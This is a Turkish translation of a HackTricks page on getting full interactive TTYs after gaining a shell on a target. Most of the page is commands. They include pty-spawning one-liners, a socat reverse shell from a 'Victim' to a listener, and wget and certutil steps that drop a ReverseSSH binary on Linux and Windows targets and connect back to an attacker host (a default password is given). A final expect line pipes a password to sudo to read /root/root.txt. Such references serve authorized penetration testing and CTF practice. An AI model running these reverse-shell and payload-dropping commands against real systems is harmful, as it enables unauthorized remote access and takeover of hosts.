hacktricks/generic-methodologies-and-resources/shells/full-ttys.md

5.9 KiB
Raw Blame History

Tam TTY'ler

{% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Tam TTY

SHELL değişkeninde ayarladığınız kabuğun mutlaka /etc/shells içinde listelenmiş olması gerektiğini unutmayın veya The value for the SHELL variable was not found in the /etc/shells file This incident has been reported. Ayrıca, aşağıdaki kod parçalarının sadece bash'te çalıştığını unutmayın. Eğer zsh kullanıyorsanız, kabuğu elde etmeden önce bash komutunu çalıştırarak bash'e geçin.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} stty -a komutunu çalıştırarak satır ve sütun sayısını alabilirsiniz. {% endhint %}

betik

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Kabuk Oluşturma

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

Ters SSH

Etkileşimli kabuk erişimi, dosya transferleri ve port yönlendirmesi için uygun bir yol, statik olarak bağlanmış ssh sunucusunu ReverseSSH hedefe bırakmaktır.

Aşağıda, x86 için upx-sıkıştırılmış ikili dosyalar için bir örnek bulunmaktadır. Diğer ikili dosyalar için sürümler sayfasına bakın.

  1. SSH port yönlendirme isteğini yakalamak için yerel olarak hazırlık yapın:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Linux hedefi:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

  • (2b) Windows 10 hedefi (daha eski sürümler için, proje readme sayfasına bakın):

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
  • Eğer ReverseSSH port yönlendirme isteği başarılı olduysa, şimdi reverse-ssh(.exe) kullanıcısının bağlamında varsayılan şifre letmeinbrudipls ile giriş yapabilmelisiniz:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

TTY Yok

Eğer bir nedenden dolayı tam bir TTY elde edemezseniz, kullanıcı girdisi bekleyen programlarla yine de etkileşimde bulunabilirsiniz. Aşağıdaki örnekte, şifre sudo'ya bir dosyayı okuması için iletilmektedir:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

{% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}